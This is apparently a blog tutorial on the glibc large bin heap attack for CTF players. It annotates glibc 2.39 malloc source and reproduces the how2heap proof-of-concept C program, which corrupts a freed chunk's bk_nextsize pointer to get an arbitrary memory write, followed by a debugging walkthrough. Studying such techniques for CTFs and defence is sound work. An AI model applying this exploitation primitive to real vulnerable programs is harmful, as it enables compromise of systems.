TL;DR
Large bin attack is the future, which is yet to be explored and studied by attackers. I will separate this topic into two articles—this one we are looking at, for concept illustration & attack demo letting us have a picture on the attack methodology; and a writeup for a recent pwn CTF (TravelGraph) related to heap exploitation on large bin.
Large Bin
What is it
We will skip baby introduction for fundamental knowledge of large bin. Just a simple recap and summary:
/*
This struct declaration is misleading (but accurate and necessary).
It declares a "view" into memory allowing access to necessary
fields at known offsets from a given base. See explanation below.
*/
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};The large-bin chunk is special, for it has 2 extra pointers stored inside—aka fd_nextsize & bk_nextsize. In my perspective, it looks like:
In 64-bit system, the large bins store free'd chunks over size 0x400. Each large bin is a double linked list storing different sizes of chunks in a certain range:
Group-------Amount--------Offset
1-----------32------------64(0x40)
2-----------16------------512(0x200)
3-----------8-------------4096(0x1000)
4-----------4-------------32768(0x8000)
5-----------2-------------262144(0x40000)
6-----------1-------------unlimitedFor example, group 1 has 32 large bin lists from size 0x400, 0x440, 0x480 … to 0xC00, and bin list 0x400 can store multiple chunks in size between 0x400 to 0x440.
fd_nextsizepoints to its next smaller chunk,bk_nextsizepoints to its larger chunk.- And the
fd,bkpointers points to the same-size chunks following by the inserted time sequence. - for the same–size list, only the first inserted chunk of the specific size owns the
fd_nextsizeandbk_nextsizepointers. - The
bk_nextsizeof largest chunk points to the smallest one in the bin list; and thefd_nextsizeof smallest chunk points to the largest one.
fd_nextsize points to its next smaller chunk, bd_nextsize points to its larger chunk. And the fd, bk pointers points to the same-size chunks following by the inserted time sequence:
When the heap allocator looks for a suitable chunk inside a large bin, it searches from the smallest to largest direction.
How it works
The attack happens in the process when a chunk is inserted into large bin, which triggers unlink action and change pointers inside relevant chunks. The Glibc 2.39 source code in line 4168 introduces how it works:
// if size matches small bin range, run previous code
// if size matches large bin range, run following code
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
/* maintain large bins in sorted order */
// if there's more than 1 chunk for the same size
// which is more complicate here
// so we can exploit under easier condition in the else branch
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
// if there's only 1 chunk for the specific size
// so that we don't need to consider the 2nd linked list
// just focusing on fd_nextsize & bk_nextsize
{
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd))
{
// the fwd now is the next-size chunk in the bin list
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd)); // verify if it's a valid free'd chunk
}
if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
// vuln 1
victim->fd_nextsize = fwd;
// hijack the bk_nextsize pointer of fwd in advance
// so the bk_nextsize of victim pointers to where we want
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
fwd->bk_nextsize = victim;
// addr+4 (fd_nextsize) is overwritten with the address of victim
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}
// vuln 2
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
// we can overwrite the value in another address
bck->fd = victim; The chunk being inserted into the large bin must be different from the one existed in the bin list. Because if they are in the same size, only the values of fd or bk pointer will be manipulated directly:
if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;Therefore, we need to make them different to manipulate the fd_nextpointer or bk_nextpointer, which is not directly modifying the pointer itself, but changing the value of an address relative to it. For example, fd_nextsize->bk=vicim does not modify the fd_nextsize pointer, but changing the value in its bk position, that allowing us to overwrite the value for our target.
A short recap, if we are dealing with Glibc 2.29 or earlier, which source code looks like:
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;It means when the chunk is going to be inserted to the large bin from unsorted bin, it depends on 2 different scenarios—if it's smaller than the existed chunk in large bin, run the code in 1st line; otherwise, run the 2nd line code.
But since Glibc 2.30, there's a security check for integrity when the chunk is inserted into large bin, that the exploit no longer works for scenario when the inserted chunk is larger than the smallest chunk in large bin list. Therefore, we have to make it smaller than the existed one, then the code runs:
victim->bk_nextsize->fd_nextsize = victim;Thus, the address of victim chunk will be written to the bk_nextsize + 0x20 pointer.
Prerequisites
- Can change the data in a Large-bin Chunk (p1).
- The inserted new chunk (p2) from unsorted bin to the large bin list, must be placed under the hijacked Large-bin chunk (which
bk_nextsizepointer has been maliciously overwritten)—meaning size p2 < p1.
Vuln 1
Once we are able to modify the bk_nextsize pointer for a free'd chunk inside the large bin (Using techniques like UAF or chunk overlapping), and insert a new chunk under it from unsorted bin (let it be smaller than the existed one):
The Glibc code executes and modify relevant pointers:
victim->bk_nextsize = fwd->bk_nextsize // fwd = p1
// then
victim->bk_nextsize->fd_nextsize = victim;In the normal perspective of Glibc, it intends to create 2 new links for the operation to insert the victim chunk (p2):
- Move the
bk_nextsizepointer of the larger chunk (p1) to thebk_nextsizepointer of p2 (i.e. p1's pointed to itself, and now p2's should point to p1) - Then 2nd line code is then executed to to make sure the
fd_nextsizepointer of p1 point to p2 (victim), which is reasonable if we insert p2 as the next-size chunk in the large bin list.
But in a mathematic perspective, the code is equivalent to:
// hijack p1's bk_nextsize pointer, overwriting it as target_addr-0x20
// then, victim->bk_nextsize = target_addr-0x20, no longer pointer the intended address (p1)
// but the code doesn't know, it still tryies to set up its fd_nextsize pointer
target_addr-0x20->fd_nextsize = victim;
// aka looking for the position at &(target_addr-0x20+0x20)
*(target_addr) = victim;Eventually, the value stored at target_addr is overwritten to the address of victim. As long as we hijack p1's bk_nextsize to target_addr - 4 (0x20) , we can change the value stored in the target_address.
Vuln 2
This is less common in exploitation, but yet a possible way to hijack the value in our target address. If we are able to hijack the bk pointer in p1:
// no matter what bin the chunk belongs to
bck = fwd->bk;
// ......
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;Equivalent to:
bck->fd = victim;
// since bck = fwd->bk
// aka
(fwd->bk)->fd = victim;
// if we hijack the value at &(fwd->bk) as addr
// (fwd->bk)->fd means the position at &(addr+2)
*(addr+2) = victim; Eventually, the value stored at addr + 2 is overwritten to the address of victim. As long as we hijack p1's bk to target_address - 2, we can change the value stored in the target_address.
Demo
A demo program introducing Large Bin Attack from how2heap for Glibc version 2.39, which has been updated since 2.30.
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
/*
A revisit to large bin attack for after glibc2.30
Relevant code snippet :
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
*/
int main(){
/*Disable IO buffering to prevent stream from interfering with heap*/
setvbuf(stdin,NULL,_IONBF,0);
setvbuf(stdout,NULL,_IONBF,0);
setvbuf(stderr,NULL,_IONBF,0);
printf("\n\n");
printf("Since glibc2.30, two new checks have been enforced on large bin chunk insertion\n\n");
printf("Check 1 : \n");
printf("> if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\n");
printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (nextsize)\");\n");
printf("Check 2 : \n");
printf("> if (bck->fd != fwd)\n");
printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (bk)\");\n\n");
printf("This prevents the traditional large bin attack\n");
printf("However, there is still one possible path to trigger large bin attack. The PoC is shown below : \n\n");
printf("====================================================================\n\n");
size_t target = 0;
printf("Here is the target we want to overwrite (%p) : %lu\n\n",&target,target);
size_t *p1 = malloc(0x428);
printf("First, we allocate a large chunk [p1] (%p)\n",p1-2);
size_t *g1 = malloc(0x18);
printf("And another chunk to prevent consolidate\n");
printf("\n");
size_t *p2 = malloc(0x418);
printf("We also allocate a second large chunk [p2] (%p).\n",p2-2);
printf("This chunk should be smaller than [p1] and belong to the same large bin.\n");
size_t *g2 = malloc(0x18);
printf("Once again, allocate a guard chunk to prevent consolidate\n");
printf("\n");
free(p1);
printf("Free the larger of the two --> [p1] (%p)\n",p1-2);
size_t *g3 = malloc(0x438);
printf("Allocate a chunk larger than [p1] to insert [p1] into large bin\n");
printf("\n");
free(p2);
printf("Free the smaller of the two --> [p2] (%p)\n",p2-2);
printf("At this point, we have one chunk in large bin [p1] (%p),\n",p1-2);
printf(" and one chunk in unsorted bin [p2] (%p)\n",p2-2);
printf("\n");
p1[3] = (size_t)((&target)-4);
printf("Now modify the p1->bk_nextsize to [target-0x20] (%p)\n",(&target)-4);
printf("\n");
size_t *g4 = malloc(0x438);
printf("Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\n", p2-2, p2-2);
printf("Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\n");
printf(" the modified p1->bk_nextsize does not trigger any error\n");
printf("Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd_nextsize is overwritten to address of [p2] (%p)\n", p2-2, p1-2, p2-2);
printf("\n");
printf("In our case here, target is now overwritten to address of [p2] (%p), [target] (%p)\n", p2-2, (void *)target);
printf("Target (%p) : %p\n",&target,(size_t*)target);
printf("\n");
printf("====================================================================\n\n");
assert((size_t)(p2-2) == target);
return 0;
}Walkthrough:
When we debug and run, it's assuming the target we want to overwrite locates at 0x7fff70665d30, with a null value 0x0000000000000000. Then we allocate a large chunk [p1] (@0x22f5290) and another small chunk [g1] to prevent consolidate:
size_t target = 0;
size_t *p1 = malloc(0x428); // 0x22f52b0
size_t *g1 = malloc(0x18);We also allocate a second large chunk [p2] (0x22f56e0), which should be smaller than [p1] and belong to the same large bin, so that we can later insert [p1] above [p2] in the large bin list:
size_t *p2 = malloc(0x418); // 0x22f5700
size_t *g2 = malloc(0x18);Free the larger chunk [p1], which will first be put into the unsorted bin (FIFO). Then allocate a chunk larger than [p1] (no suitable chunk found in unsorted bin to answer the request), so that [p1] will then be moved to large bin according to the rules of Ptmalloc:
free(p1);
size_t *g3 = malloc(0x438);We can verify the memory layout in GDB:
Free the smaller chunk [p2]:
free(p2);At this point, we have one chunk in large bin [p1], and one chunk in unsorted bin [p2]:
Now modify the p1->bk_nextsize (p1[3]) to [target-0x20] (0x7fff70665d10), assuming are able to hijack the large bin chunk as a primitive:
p1[3] = (size_t)((&target)-4); // target-0x20
Finally, allocate another dummy chunk larger than [p2] to place [p2] (who is smaller than [p1]) into large bin:
size_t *g4 = malloc(0x438);Since Glibc does not check chunk->bk_nextsize if the newly inserted chunk is smaller than smallest, the modified p1->bk_nextsize does not trigger any error. Thus the bin list looks fine:
Upon inserting [p2] into large bin, [p1]->bk_nextsize->fd->nexsize is overwritten to address of the inserted chunk [p2] (0x22f56e0), but we don't actually care:
In out case here, we care only about the value in the target address, which is now overwritten to address of the victim chunk [p2] (0x22f56e0). The modified p1[3] (bk_nextsize of [p1]) -> fd_nextsize now points to victim chunk [p2], because p1->bk_nextsize->fd_nextsize = p2 (victim):
The Large Bin Attack is finished – we perform an arbitrary write (to target).
CTF Writeup
In real scenario, we can hijack the value in specific addresses for some important functions (i.e. _IO_list_all, and that value can a heap chunk we are in control. The CTF I used to explain the attack methodology can be hard, so I will further continue the writeup of pwn chanllenge TravelGraph in another post.
References
Large Bin Attack - CTF Wiki (ctf-wiki.org)
how2heap/glibc_2.39/large_bin_attack.c at master · shellphish/how2heap (github.com)
Comments | NOTHING